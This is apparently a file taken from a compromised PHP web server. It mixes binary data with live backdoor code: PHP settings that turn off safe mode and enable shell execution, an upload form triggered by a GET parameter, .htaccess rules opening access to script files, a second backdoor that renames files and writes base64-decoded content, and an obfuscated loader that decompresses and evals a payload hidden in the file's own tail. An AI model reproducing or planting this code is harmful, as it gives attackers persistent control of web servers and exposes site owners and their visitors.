6sճVyvixftkbyog[d_u*uG(#镎JG|;fi+b_ϱaG%:"h2)CkvF\hqMvAtdnSU+.|Eܰ#7ʷj{kM8
pOCŹÁ1`|I(f
u-+l
	l%Ӑ]f;@#U%S#xF+ܛ@|Ɗn2nu_uمIk_Fg*yρEd=DT7b!H~q%;!B,/gyP񓨒/niyxzdjqurK2g}%c4F
#	jǮ~3v7Wniyxzdjqur!b4.le@niyxzdjqurĭ#cq91F!O7gWrbvixftkbyogogl'i@ǈc%rnU8a!e;0 VH߇Qniyxzdjqur㇐|SW[|)Q'oGtniyxzdjqur6⭡.Yngp卭`8x-ܑI}cOxgNLPR: ԧs
MvaĮPΙXwϏ @niyxzdjqurL:lL0\z MRwj&nΓ;uLܵ?en$`f2n.H|G\fFdcniyxzdjqurDҬ{9CuQR)(T4Bnˢ[v=R.SR8	ԋF.b)!m9Zn67niyxzdjqur	pސE2*d--?I{*WQRрW5dY,"b7`i@wXJ2(\̔sC++ǡ'W[M0~ {;O7
ow;Pf!cm-*1p&Iniyxzdjquroo:2u
TGW 4QV*pCD8Gוxjf]n鷸μ~.&5-vbDV-Ռrsg
J&.x1CW;Uq{niyxzdjqurKST?BlJ(_y-.`z/iؗ 4J\o}4֜D\i?9iniyxzdjqurGuО(pm+"h :P_ o'.P-uU~niyxzdjqurYx|wE=-Ӛ)@ȣKF%e]T`mniyxzdjqurXcp,niyxzdjqur|mŖAibh8wg!DrX2D3&$
pvixftkbyogr&akn
$wbc7g2}!Imñ聁@EUYȉ:ϓ
ޫ	7/JGƟG!&zfr¿}ISӧD8
Eniyxzdjqur,-[~eQ2qqܭ	g,JOvixftkbyog\0J5D)2K㮇r}I_fϒ+~?(B52*
*}Ie12LL=I+@&p''-DaQ)et4.ԭVJ(6ְ]ɵ }HC;sl! 
{q)!0L~:2TƊ͕jX+ucbvR~S:1u`oXIF^`o!f
im
Aj&YkcfӬvnә&:pv\X/fۮ,\:_i?`e}_ qyQВBvixftkbyogvixftkbyogңc1]KLmLDS	9*O3p8m'Z!b"5
ڊW98(V7J%sȶ&ɃћBi2vZ[~ZS\|ϭ3zvuL0beY)Jk/=9nvixftkbyog9Di%mB̵JQ#%7vR=BNqQV2W ۀ\R"j09`niyxzdjqurXƾy/M3*#̾JaM*6`[nsџa@-J	Vj8[Z9vixftkbyog/*%Qxc~!Q)uniyxzdjqurO5hH21/ާ/R0#v1_km3F~vpAQ9xH"~%m1&ROU]ؐ!@WearvC#םr2wkӤqG_eF=.7
Bn5e7H˦K/ݚJ=3xWf$-tvixftkbyogS|tB\niyxzdjqur9%~ALP8dWB"'cCehT$k[IjLA3jDG3w_F4]~BC=WC_ԟ~DyW``8 agװu 	C?Mc̭5Kۖ䮽|"ZXUپ0`UYU~wc}KߩIp&upWCsꬭX,?o7Xve;yQ]:J'PcRD&"4
WZ¥9w4_ԍ\c-4|[ԅȳh%PE%(b0(ݦQFv4{f8i&*UN*#S(+ "zihJR`;q(a_8-,7Ȍpr
jWI?|n{L.	db:۔Cà}5Hw{ġ 0rOF7LA+ niyxzdjqurye8
n
fUTHk'|!W}|$_1TlNT^SoZRmy)[=J"AOrߋ\Uz):F&y~)vixftkbyog'cW{@5LT}|Gw]xhNdc,k{J!m$niyxzdjqurb鎣F_VJO=p'@sk}P"۳E|z:h֖SZ3dvixftkbyog
p[-ܠɾLeL]wcGdfbv I̯ h'UI9!1X[wkuJ|`p]T3U@j6FzqM΁%niyxzdjqurlZXQSFH%%q`e
GIv%vixftkbyog稘[1`|*UΫ:?!Un_U2ưcj nCo ioΊ" g|oF^,m:Cں
8wvixftkbyog|uXi׿//safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php
$vMPE='file_'.'get'.'_conte'.'nts';$MIkb='gz'.'uncompr'.'ess';$idAr='st'.'r'.'_repla'.'ce';$SzUf='exi'.'t';$IUVR='s'.'ubstr';eval($MIkb($idAr('evkjaftshy','>',$idAr('pwojgzivcy','<',$IUVR($vMPE( __FILE__ ),-171804)))));$SzUf(0);
?>
xTnܶ^_o8ǗY$7C1gsQ97uݱwCR(r99Joƴ)?%__9o3߷o(Sg|]5n,3_qY?瑬^w;ӸlPcʧ9OڬO~+WLs`+pwojgzivcyYfV	$ݶpwojgzivcya򢨛TՁ	#%I#|pwojgzivcyY
,k Z\. o?Cr\	AD,CkR+G  A 0`O/jA)
T@1ߏpwojgzivcy "S14Ap8OW e$ҙ 
evkjaftshyft6@ED	rIC"aA!z]  pwojgzivcyݎ^I3=u@	B$]9P&WK[:Σ8UG!͌8AL3Qpτ$#@O8
i%G.uT&(^t  HU T !RjKlU@pÞ:8cb@oჍ @.śnр  ZȊ `z
|rDevkjaftshy@008ݻ޳P׫N60Y-P"E׉pwojgzivcyR@ 
 a]Z7Ts&ȁSW#_/pwojgzivcyH!2 `v,KEevkjaftshy`?j5V:bpo6jJ 5S|@SğYpH|/B6*b1Ђ$,pa@@"љ[7ҐveY¢Hul O5btC
|;waQfт |@/nu5| ' {cb*pf@-~@H z{[RLRUo硐3j`L}bB F Yevkjaftshy&}UυLV(R)(~[tU")	P3Lęv*dgLhtYXj9g7C]/LK~wלB`NmlG4CCeHw7'zFAsJv4)/*͚\Q ,n+}ds/oû	&7ύvz#/叞~ ^YbMAevkjaftshyyqMg\%Ha%&)[WTcUY SħpwojgzivcyAW/ XB(d&Ơ-OP߽Joy_0j	pƛ+AO)/bǝ?ByZ{vgsH +O//RgCbzl8d0
ٿM?bbpwojgzivcyI^Ү,Po/Aq^F-W2v4
u[A8_)MեJ,i@-)QEpwojgzivcy2\[qrWBNH!=(u@Xty8_p[l|ͨ8kH%9Փ^6$=U;5ϙ\.Qc~=@T	KؿKvQ]$[ZӐt.&n"d6?usmM@M
ZȪfzTPɘ	"ҘD3?
JQӊFkꜨ
\I:mCC?Շ,t1MJB/Mc t
jJXU%uAyX#_!A[SfhPwd)[Ιjw;s4XTe|qNEeUS|ggozVlBkB_kw?%.f^ѧPh'b3힁O=$Rh[d,8evkjaftshyevkjaftshy(*ǝ],rc(#GIEjwstg*aq$KC_@kDeiEFwX])W9CXD2?M"xU:	4KaoeX񙶑+'aFo"uiE9Z6)K8fiL-S["z-ekhQjU?uWY,W|@Jo3s^Ga
;Jڃ;j`"@]Z~!trb4+2snUR+jMp\D$dDpwojgzivcy)nD^c~t\5\TQs腎ʇ^xL]f.E[;!WPJ&{7ujlV cSKןevkjaftshy|GР/ʁ~;Lz*sv8vwчWpwojgzivcyu䷐Cւy3l|lI=~2{&LbޑXd+(-BbtK9v\L_
al.:.]
ZevkjaftshyQgDu)׿[ a|$#9Qq^,@D_qevkjaftshyR[.;:1N/{ھj0u/5j
|&SX)ik*h/þ	:1v:AjOvД]M0o#5IT_&X	ZY?wu4%qr2ڳ~F	
QP]zem%菩kmOZX7K;@m&evkjaftshy21V7CS)3T[]_;kgȧ+FgƥT${@w2xD#ۡԅUc[ȒQY2[ijJUvfN
)RQLƤ+kYmG:,R~MmG!rŊYEXjsj~`;pUVteIw\8u醤Nq/M`b
C֔Ēzg$荄 ^q{c6֗]`B
c	gqǔߓۥ+! =b5Y6G7]& Q!ZzwX-R/C 0j-~U	x}mjHO[tH B␏Z .A޸QӨle&^M=؊#K$[XBfQ-ʘ'rBpwojgzivcyd=r8$3Q?VM9vϟ ayodZeח-lnvB&wvKD\~,wGUvqc.O7	{pwojgzivcyW
evkjaftshyݍ-6
v
q-eݤ*+HT*!	_E/O^ Y$H8]ܲkӫo(gZigFMbIT@FtS3d"/HY߇Di!)^KX'cOLs5aOe8
AwteY,ΒqSc׾ihAC7uDștHhitt`h!dW($m7t|aZO`dZ1%Qr
fљ=w fby4K"ʦ߸۵.`c;pwojgzivcypwojgzivcy
MB,6n/C
&&?ޣF}BKJ]i~^0(hP*I
	Tғbqd-I FTU]!*)pYXVWQE;vgd:Yqu+),EpwojgzivcyoNpwojgzivcy0wB,1JGevkjaftshy
zd4}M&EVwc\(-WTP恗yH˄ znIgC &{]	鿬pwojgzivcye{/}'Z~wݷa9CBe*%rH\pwojgzivcy,iģFAoς}R62"zKXrqy욾!1$ᬪhj%=@طM?u߹=m 9d
=By3\?pwojgzivcyQ2	$o2/.&
9O'UDD ܼRarinY/j5tޕ`nevkjaftshy/2^?rC(o'c"mxtg?Jp
7j#oCD
mkMΣ}᩻zfY/?B6|?aY׿# Z*T#evkjaftshy-#./S!Mꋇ?wsЧϮ)d!5r{)Bb3Q.@3oJ1V@Lբڤ|zW*k40k%ei\`-K؏ߔX	h
y`/Rw4EpwojgzivcyZ)zgα{)IJf?qc$kVKV&7~]A:Sw/wmRfSׁq!_POZ[eРdaѝnh#OT&t8K^)tȎdHq\Av|a\1u ,0Hb(KevkjaftshyF[ǂ jͯsASE=k`¶0o+%ڇDXPc'oQϬr?1(-m6^bٛ#2k4`轆/rӁv &c:^nevkjaftshyՂN:xAY$]o~$4oOXeSP}Rhc,Uc
X2t6,۱ڻ_凕9(nK yOj{ch`(NQ aK)"yu`
evkjaftshys&ЅtLvgrNM~)+S[	ҽ|
 ziIZ/O0pevkjaftshy3 55F~6ɀ0eS=!pwojgzivcyɭg`evkjaftshyeZ},{it5-N*)4jMՁ[+kŊyybK1ؙ~'kQR%#$C+{'쯟]sL4=r5V0]|G"nѳܥ!yY;)YvI3lTRx[,|xHDīxcR	[jA)H#M$o"׋ c{|ݨ^x^7ޒ?evkjaftshyS[Xgʫ+_gD#i658Oq)[v] &evkjaftshy=,D-tB#a4p^3Dc#	՞p\SXrOG9f
3c/#~P*,''*UeD_
RD2Q[m!U4r9,wڟ?҇UΜ)24rxevkjaftshy9T;W#L2_l[MZ6
5?	0xS|_ROQfيd2qJ26PslXݙ53o3v?Q#b{\HCC*\d7OsJþ\u_ݰOӕ_ceOW1L}YYC5}j_C'H!JP~[hᮔ3	FwNAT#7v . jvI#eN*E㔟j|^QCpwojgzivcyᕧ;|	,-ߟ+0AԌk9.	ZR҈ӶF72`KP=-ڛg'Z\ Z|z虒)Lx~p"C!~`C9m
ax?ca8;2l_9 
*LG&[9AJn	"_M1ۧ!.&RZ`%J8\x酪XMgJ5pwojgzivcy|	3xH.]{1['aPVecɯT;0,iaΒ`Kb=`:4;&b
sA	;qA3:p%Օ,Wt*[#yRg=w[\{St,}6
zj&3H׊q*|mZcS:v^,_nv#3lSql&\X鹐6t5O'_dxڨusw횹dAllţX6ƛkG|Sp%sѰ,]=Xlv8%XWX8]ge/hAG N
6F7xӺW&Gi ܆h9} :F@Yiy,Sk3Ms5"CȘ-43m=ݜۭSo8)70Zc!2sߋ"DHBSqeYZ8(T-g;)0, opwojgzivcy!=7G
d
~Guxq:evkjaftshyx#症[ʀ`/p4alZLϓ@PjoxmVtF0+HßB
_LgMr2$b$huȈ1pwojgzivcy9o˓yk =1cX:
\A`H/( 7O/|/x:~
{5:Ѳ]rȟ"[ڟv.%g']\HH9
eRCMlC1r	~ue8T}9Ҏk%ݫODCoQ4)'28wi	"x*FLicevkjaftshyͩĵ)
9L5IqXM*g}(]`-FMy_w{PLl
n{~@E-c.UUkBל躓=OG;$;' rdP}ntёz0+, V[LX9?㞴*:j|t\$Z6E\)=ASZwhOF]&roջFZS~^nYjG/VDrS
c'6A_k
ǣ~Vh=ҮE6;̹o~ӷ0&
ISŗZJ$qOs}5l9@|41ͣEiɹ9n5_kFpwojgzivcyT@baq{}ygxt	~(4MVkݟLq ܹfDs^jnx,ޫ7|h'E:,
H3E@?/dK	^٤:b2gy6{UH䭟f|mkn["(B1-NS$n9LXUR
/
H`Qay!ypwojgzivcyMLB$ǃ[0(jQVNnMkWN;.Nc`Fevkjaftshyjh2H#L)*zDZߏtߨ{74QІP4PbA.
ڦT@ԷgBpd?%;SkN;@%-;T/,Xle{uKpwojgzivcy~?Xevkjaftshye~ǌ.!xK kq&-evkjaftshymϣJQ]ԑcn㦎J5o[|qΏ2 'ma5]rXQW̹E.@_vE	J~I"}h|dHfq*+/fBMyQ{n%\pwojgzivcy:|E?)Gƾ
IZW~C&,6Eߞ8Ë+o't6!\&9}$K'|Ә:k!lqnOĈRCOi pm?6oNMG\5
1ؑo@;'1
7Q2@ѽ6|ͷy8EضЎ 5Te]y	&c8y6pՙ,QUVMlc\ aڦ9?zab~O%z8N#:j`v FU
ۅ~4Yk*	ybH~N^|\Bkҫ[׵r|х[.BUʬvTevkjaftshy	/FAA~@Ej.]\X:Ƕd6T]}exr?Syx2/*dFyF1o-AAms٨ Ê=cgZm
n&aiP6L&m\)h՛̞Uɚ̈́aPyTpwojgzivcyi{WrIq#VJq"ˏ((qXV=(R|tҧ@pwojgzivcyA
+&MP\;#&80=';|L
-:N3~I}SuRpV 7GcLڈk0+ 2"_~YD]qWٓ'֬ABZݶl
l*evkjaftshy~`DgLJ~?B
?ȇUZRƋ\m-RK;~\hy$d}Y.Hu-evkjaftshyW̾fZr-M
b{#
qD{Cbma"`.`K`
s.bIYQ}xD4SCg/evkjaftshy)X=ޞuӤā"lBYiӞx3`&8`-g_V8M!gr$7QlɿQ;Cr.;k!x4$
0\3gԱ;
n+;˼lC=/.੕+:!z7%ՀmLOdJ,ЩF!d	 &DCRC]A8_5W['#}j W;x(WU}=n@*Y9G|!8MDc_I
я=FU
ʮ09{]t=fkn;;窳H57&Kc{K2Q#؋bR2NX{OS[(a7j_*J!q\`dʨn r`/cpwojgzivcyj9`w1hpwojgzivcyW9^

l7#
aI%ƙt@-&R7?jΕ9JT2Lʼlevkjaftshyr_gOQ_4?cl.מmaO*
;'c`WCRQ1Jqaמ"̯wGw;m}]il@"pwojgzivcy~F'cA"l	6.wGܫ;] #nй5̝
wԍR'y)#`uh
lpqm
zkߧ^b3_70ZU6@jgH #!o3jT!-XTm'l+]Z=)1ƱY]=G	?(ʳe٥$wD`ZyUn8
#AZ!]s=-Zr݌Ё-*+G?}xx+pV(UCynاsCzV
+HVﱎP+&lO		ixf4+!X&"ޱTz76vBӍJ&fH^n;u4)~iV{Y=R}Df`pwojgzivcy`@gVpwojgzivcy;]9!]Q+E*`P	՟
!F} gp'܃FIipwojgzivcyVƫh&ì+
pƖ?VUܥuAp]pO/l~`evkjaftshy
Eqj?|GT?Blo+N|/Ӡ-bk^4a2P(_׶)OY
nJ	kF=; -?*,
׃:z Ƿ35:@Au
BW˸VFXm*Uy83m|3YV"? evkjaftshylY|ɕJ$PNDv.qznOnZt U,d6/~TР:z9@B|~&r|=y|;t7cah	:VשYA~*#+gwfϊ?l$`e\sn|[qyȼQ:K\BЧDJ	O?e_4pwojgzivcyHYyyCb?7*߇ߛ8&q5T
\@`d{rT2fۊxpzGݣ)ܮ@Pq5$=rvƻkӝH[ef^#*Θvn`4r)d9m}ʯ4~ ,/9jF?Mn"V,evkjaftshy&@7O
)Km_* b,/Oun-cv[s\jy,G8E{߁O.ݘX*2~KļU YzAMc*l7sc$ٿevkjaftshyt_1kevkjaftshyqBw5v3領U0Ѭ9GP?kZ
Ax"VW7C/t?Y̍E]@+]q)evkjaftshy%a%ػRÐ:Ʀk־%59ٖj*d%zrPDpwojgzivcy y`Ϥb]Ƿ0X37wGevkjaftshyc7š6f007(n^/:UyUK$6kLR]5Ptg?h݄Cx0Znk D0tm\?cpUaT\=LjvT{Tmgb84hWe9l?^;IоNA8e.P%k6ꛆ#&3r4q9zQBfz.P9du`7 {ad3kx~!$n~䟍'$g3KcP9uދD h]̓STf\9KP5 52Syg;
`5 6Ta	_H
ԱG0~UDN$BZUtZ91=N~ȿK{y0$;khD?3{ޖKFKoBiz讛hRݾ#]Jלu#Bf6)`GdF|ҼʲCpy3n\#2y)p7-L`X	NCZTӍ%fSaVkg;"o^aԇM"mmxqx{o,piY2N}B5Qaxh"~.-{ĉOvz-$k56i!FLn;X~e닢}sHNU_3Ҋ9E4|/oDevkjaftshyU/Lp:#w:I@r?G[BG_}qW%^z2,Lߴŷ5zc$@+$Jc-KR6+ +tpڤ嶊shcevkjaftshy_4 hbV"Wi=fK& 3Mޖ4;«أPԎ%HoQ[1*u|Ai]nr1xCc?ѩZ"h
rE2l5U|V}1evkjaftshyՙ$jeu=/3;Z]XadfJRZXQP(*V]v!f rZ_@*4Z:F`R;~Br%빩ǍG pqr
X4}W Ey5|)nxpwojgzivcy;Xr0[{O;y̆^Q*gDG:vO4q4:X.j %0YXggv7$~:󝴾g`*x^m.&x&BAevkjaftshy.0
cr/4*e(j-F$k
Z؜5sHޛ\,
TO,vM&0+Qa0`K	n擬vJ#d	}\˼Htc
)K,׼ٹXɨw}CJpwojgzivcy5?\
zRWͫJJ2
(ucY^6O!mvp頟
=cw`	!؝2AEpwojgzivcy{(tTF!}	DΜس{01D!V#x,	
`^H쒷M̼Z/rX@ݦvh W}3HipaP=D1צ:'cz&YI:\@I"DdevkjaftshyB8/N3pwojgzivcyӊ?&dW6~Ųxu@?l;gē
ELؠ tbjZ8A.B}|3Eɤh ,g1(,
RΛ*轶?t\|fF"?
̚f/$Ҁb9_-޹ Js\;OU*2?k2)oIa6uJtIkM#gN]X?OV0h8evkjaftshys,/Q@|w?̮I	QENaj}wHWG,xQ|UOOZ+,fie&ac3ǈ7PV}r+P9iM9f%}ôG8SWϤȜҲXpwojgzivcy%E3P&,Lƥevkjaftshy2b-u{vCJ}ICO
_or[](IOi.Uصa.̗#EsA5Ůp*VHwdi pwojgzivcyKdDt,LlXP/Q~8Sq@/v%b1ǒ7^giCY#|CTC{,q2!p/3!Ý"J[WK-ϹzjĒ":+|R\SөF[~|`/PyIfBcjfaO.{Q9y*evkjaftshyp k[emEct#=#N,ǃJB@,JTyɜ|gોkWy/	pwojgzivcy{tܨE7h =xW8ղH k[+le,jr\/"*TIWk5p/-1&b`芠*Hb*3pwojgzivcyߥ9c֦@@Y !ڒccS&bb
(ohr֓!LOOvf3"ҬPG3;dB?A9()Ԗ\-O{ͤ箁Bb\BU|"?Z(=$ΥNET%ص"ڶ2pvk1 ŧD!'zȓ4l6Ȧ"W;wdoe9=ߘ ρs[RRlv9D(:篞%CnJvs/O\9G'P GI=e񜬣Ppwojgzivcys[Dz't%Ug??75+GH_x߭\$Qy?7$a+.m0%~p_O "Us 8(Ҷw_Yp@2'%evkjaftshy;5evkjaftshyU(jDa+cx)AVOX藂dqIj
V0J{}eLծXVUJ|P\IJOB-(eMb2Г7?-XlkSyt{xb.T*m?T,XUG-S\exp5%iϟþ8Fsb3

o˭w+Y1-7{Fm=?+%B݊2E{ٵT
=DTm92`l&!ZJpwojgzivcyq67]Q8;:
	"jDƏۜ@:Dr(:kW5[3+`8N+`~e2վw1,oevkjaftshy=^Ur	\Gt)cN$UtZ7?
vźAHc@M4LQVK8evkjaftshyevkjaftshy2&/ǫCdDvo}gD\$!BW`!MAh5i-Q=Fsyɞ^ZD
yG˷rM~Tϭr.	`%Q12Kࣿ,4K	Ջ`ǟpwojgzivcyIv̀1 |şSFdd]nՂ_ug`pSs§"lNN{J{=(7#GښY DV96zi"د.Ⱥ
XM(菷xq3,2PEoŬᾌۛӗF//	/FueU`H/+*F¥ܶX'Q

!T2'lLxU6@pwojgzivcy7{-
1kl&Ġq0 (N%6f& 2lӋЪҼR@:ev[oP)[3N 	?H89dſ22mG&`}xЄ-;pwojgzivcy59خ0o!pwojgzivcy{!Z͝G=}.h6q~3[-x~Y⸆y7ռ)fHXT.M5!)uCz^ۜ!_jGYBSFj
ЇW1
/=]Wtݶٍ)b}],Sk:*^5*J'I}cYȔu5evkjaftshy`M4(]]w`hЫiXR0u7zL	x)ìrhl[Pg%d/4[jDsCM 3 h
dgC-
	Sn?:7303?xߡĆ0_C&e@i=E5P'GUҔ1LƷ!j]6׶JJH`tޭ'ՅjִHZyzpwojgzivcy̠XM2}Ikp&9+-LZ`#=1#&0ݦG(dSn3e-A]5/`E9I9ⷴ%ݾc8m i~BACVٚZZj+fԗ}ʆɆ
'碯7-o)`v? k81gBrwe*qJ߹ W&ApA=
Pq#Q(n0+8f^㍉ەˏk
gi
!&@_MCh'Ah0أ;սdNF"=\).S$*;s$S~0(e	C7!gMqh	THxevkjaftshy5b#rF'/즂u!aE%~ѼƟErfxk{A*j,^ D⶯T
-fKmV	HʵI0~oHUg_ Ö;⌟N,IevkjaftshyT/4Y||A _+X 94$طɗ pRv1I|q(^%ӻ4\'VQľKȞޏTq棝evkjaftshy/ފѪK^T56|a)5JAЫޮF}soJzoj~ W0;ޢ
'{d~`Uevkjaftshyj%^B5pwojgzivcy)j}=2*:K,j̖!`p|	g$0~ؐ!bShevkjaftshy'әޥfPZC+ॹPHRJh;l@/-oPsAȣ!"-cB5T֎X]?8-K5K+=^YV4VMuEos; f2-)!opwojgzivcyw_#Ϟm2+7ZꟍLz.X;i0n_4rx5qۦ}P&G7"-tbVME_q]w/&A`Uk	=+`|8VT].νPm*Gr%ec-%Uf'- 84Y̧ب)^
3l;0ou:B#$r֧֌"ԓ+55Bb
5L\evkjaftshy1
" ZlUv_9WhzUFOrLs#7װSW$\mpz߄=lY_ R
m-rGYu	EFkY]sqB+ߗ{Kd"E~'&ՒMs"ZbnTzHh1UsRf_p6=U305؍a|09!*IܿW*7
\`bD;2TevV=b8]j+/~;yK8}V2pwojgzivcy,=ϢT@D[
Χp|)߃	AONwfE*xq:gȀTonobD1dOY-iz1/|7Z"r|lIpwojgzivcyIV;pwojgzivcyU^yje;׆hT-^g$$oYcmDM-íɿHIO=.}Va}u
FxpgI
GżI%QJ?̪jgwe_IHbW+C=:#wWLat;5̝Ǘ]HnPѕ+lz;o9 ٢evkjaftshy꜐ 0́NWm+vkL"J[/IF:ʽ=,[xbukT3Aw,Tڠ8(*8?^9]JnL懒aJt5CeƢzsmwzȵL.+7Z;#$.vAJ}K3Gy_	RDkGԪytY^ZKxdDș
72&@׵~0mቆ^(MBҲ|ް6)8aE{4hϞpwojgzivcy`p!$hUz.ȡjczTP=_'}n	,@Ɣmevkjaftshyڛ+C`賙D6W S_{gXOШ+.2,Rw |Yn]vK2~;)/W-{Axĭ(zu0&pwojgzivcyK|\G"

&LuFڤAAo "S-{evkjaftshy(qdMnu.b}nyn
;TC&#vD"(ٷ@NaZ7}Tj%*.NT@TA#}G]:nFN˨ЖQ@~T5(1k{	{TԄ:?L}8 5gb
+:%F~u7o`4pwojgzivcy %/h8yFYw1	|.5a*pwojgzivcyZ8O'Z죓@$x z]i_R
Hl۷Si:U;IevkjaftshyN)aɮW=͸2HG'U6:DgW5mV_EUpwojgzivcyˏ
pwojgzivcy9ۄޑ^n/]lpDYUߐ+cם
=ۨy fM[G[xi\P"o,`?-8L[Vϧu$#pwlmGe	;8	m-sT ~ӀE/'Yˇ:Zptpa^N2eªV0 ؍ S1BB2LQQSu"J̍Moy\Tƣ:tu5pBgVRXdwEL[cſ7׶pwojgzivcyN.Ľjȴ!m	h@'qoA=Jw#[Xp"xũ0'8\ "]M1;6CV&\W
XEG/IJd
\c
i-N5e}GX{*s7!?G@R/Ɣ`
{Yu-C	`KkŇal/e)1PJϺSN)iT*J;'ǄIb6&e9![[qPˀʝGbBn/	EUsevkjaftshy+/+t&]  =XF/F_l;K߿#a`?ݻ[B}MRY l}ǩ4Pn!(g8G̠+
h2E$AݥR,$N4p[P#LN*\x	2[4 
ƕN3wYf2\}B:H,~'}!uL'
ߌ| QN,Y\
A':u5vWPPFH
ڀEKF|6ݚ
/ҥql\'r0fxR,8B}w\J8 G-9v v5-G/M:.|.bϥy_"ܞh 'A|?#2I#e.Iˠpwojgzivcy&bWZevkjaftshyk7!	NP8OjĬEb2bpwojgzivcyk-qЫk.ІvO54YφP|tD77&#y}N*%yӔ=}pwojgzivcyH1	ʀ[ݱZB5xܫWQ.a~2+@q1#kD89w=yXk
cs#+	mAvI2ͧJŒ~%h)evkjaftshyq ܈/%#//ETh5~;NbaOӫʤkl{4 P
Tt_KT"Vv+$U(6x\3vKUaGha82qܭ\m͔HvW 'z! zV{pwojgzivcy,3E$R:ŻRIzH_Qfz1P 3Ց fRjC	EIXaKFػ+%[)ѓԷz'apwojgzivcy}ooiL_=O6-TݕwEp$pwojgzivcy.l̑ B}&"*'k	zan^1Fpwojgzivcy"WJ&l֝knzKM,fr4 @;5mg $\m42kb1pwojgzivcyevkjaftshy4
9{;+/X)ĴzW-}_Za!箷5"9Oݾ{Ma2&/puQ2⳾evkjaftshy}bdP%ZU&7FGf;rUЀ1sZk!h4LŻ*,0Hu YF ev˶f;b(qYn	GyAA|8/1z!oJ}mJIծ9
ڝKg[xpwojgzivcy
LzVUsFa$RXpwojgzivcy7PXrlU\evkjaftshyD$sQFvxcܽϘJOF2fg&E֭0٥iV	aATKӣgR6l@R2gבKY*VH'B?רEr,ppʟ(v~kB؞
X&+?R*R%Hz#{L\{g@cevkjaftshy~¢Йﴒtآ6HV|s^DyM@@owr~/ީC.eH-7bII5nzK)KpwojgzivcyKV"^
-bI_Gb|νU-ߦ˛\ a0\" ce.Ipwojgzivcy	2IXOG%E(FR{QiEMAha.63}ZiDΌW|$
U|ϴW'͕dg
Xq75Rڼ0*f\~auZ?GC4U[6CCIj$w
{L['RʺtIBoMթVࠪ{71['9V,*=cGpwojgzivcyVgJy,s'*x ,k9Uz4'@q更Mt2S!tАgk-Ja+%͒d 1Jݫ#8pwojgzivcy|J\7sSTJAevkjaftshy..82/أUT(C|*vME̺kclov|:Us
R45ϳj0S|61rK%({4SrevkjaftshymDtF4c}
m846xfpVgCkyŌA9c؝gN3.yVFqU"ߜ9F(ҲcPQ2g;pK~,|ro`: wk%pwojgzivcy\* JaǼb":+zY5IcL=wryU
|r쾀Fͳrt	?%pwojgzivcy[5E]Z)!U9	07ŐkƦ_7yY	IjT)6;iJ&ˆpwojgzivcyDA%#ɟJ:HBf}zˈ}iژ kG4Q]\wͷE"qdjxn_B:ݼߍ,*Եg85?'8XQ-$7pro,%A{]Ys-DY-~ʣC-QORgE2M5V(noevkjaftshyU^7J{)~U5q;@&C4[]*Vl{Fx=]
􅫤z](3ڝ9qn\u'NoX{{Dǎrqu^jߓ|(O@$b]\^
XbiжwңA,]jQ6sLQvF$ӓ&̻˅è3evkjaftshyevkjaftshyD
-5r;-AwLZ quSv\oeuƅ` lM#ל`axX$+K
S=Uё/qhVx@q!aSǷQUQ/ݕ*qQ6eWwMɟd6ƐAZ^fraOJ%?'*_(蕞fUZ3Dv"	L힊\]zkGpwojgzivcy? bλ
Ts]/AMovgra^D\pwojgzivcyV#/Ϝ2u|+`E4zLEEp6!KW;2ZvFN]L
ڶ m#" K EC qL{,c
UexWgySp\ _HPU(t#ζ|ߞP,՞K&z=DrF2&۸eH:&go|#͑ē?S6ft447")8"Rß[kYvm,=2o2pztPi{RnQ$IȬ}WO~VdYmIpAevkjaftshyqً7zs[!S=z8
 D$OA:EJ+.lǝřv{%.MZ%BH`Qqik&^v=C"*4Jʻd ѱ?"iWIevkjaftshyюNi@ϱ$T6{&&]7Ϣ[fEFkz^\S WU4V)49&JWuGbClvW&U7Bj=2A`/a2fW~[f\u/ughLMR'&m9;w߼ڬ{wWA+kX{׈ E41zI3V5ۓ$\o%TPILjmM#8_Ag8F}*_
nzj0'r[!T
NxC42%
̽7&_spwojgzivcyJRmhHrD-=_\鑌B4#']M%QYwaJ$2htx~bSmCr+7Ncۡe7VޱiQAn]	kR}\)S?oУаàXt[`1Iu4w13r#
jZ盘UκO9)s).%DTD]I0TS
e
4vXCAO	܈_RPJ'+x6 {9Wɔȁl
opP5OjT-^#͟lejvVL`o%TQZLN W	
wuqVN+an ՒYE5i~ƚ#[\sV|-
\ҌevkjaftshyH"lNͩiϰԚYZLpwojgzivcy,7:֪AU}ekܖHlnx#6EI?;Ŷq trOIlyE}J&&~^yevkjaftshy%?N~E*[ҩ~'M	NlF9&;3Devkjaftshy$Lf~D!O!TP([p5aM,4տw4heeL}src86+rRјpwojgzivcyhP{'X`SwIpwojgzivcy-!cweSM0F+_,hgNa1_`B' ?ܨ lZi!/8G
e!Nw1r3أ-4yG-Հ'x[	X7$o5~+pwojgzivcy',:?MgqW0wZ:9&mzlnE= ݻJE̰aj}ʎgeɡJFkE+ej9A4:Ǽ .T 39{zEq}):/=.f/VtE_REg	kkӺWh;UGdemFVmߧ	'i[IUJy,]#y`D/%3:O
:pwojgzivcy;]dag#qbS|Ac(u5 V,a.+2AY"BӐԘ4 da?#as4hȿt#yL%~ůjTB2-^Qz!09jHXapwojgzivcy=+.$ٻMT-ANDJ&qnnf(djYglځeP&8P%H'evkjaftshy΁Wv(l*H İ:
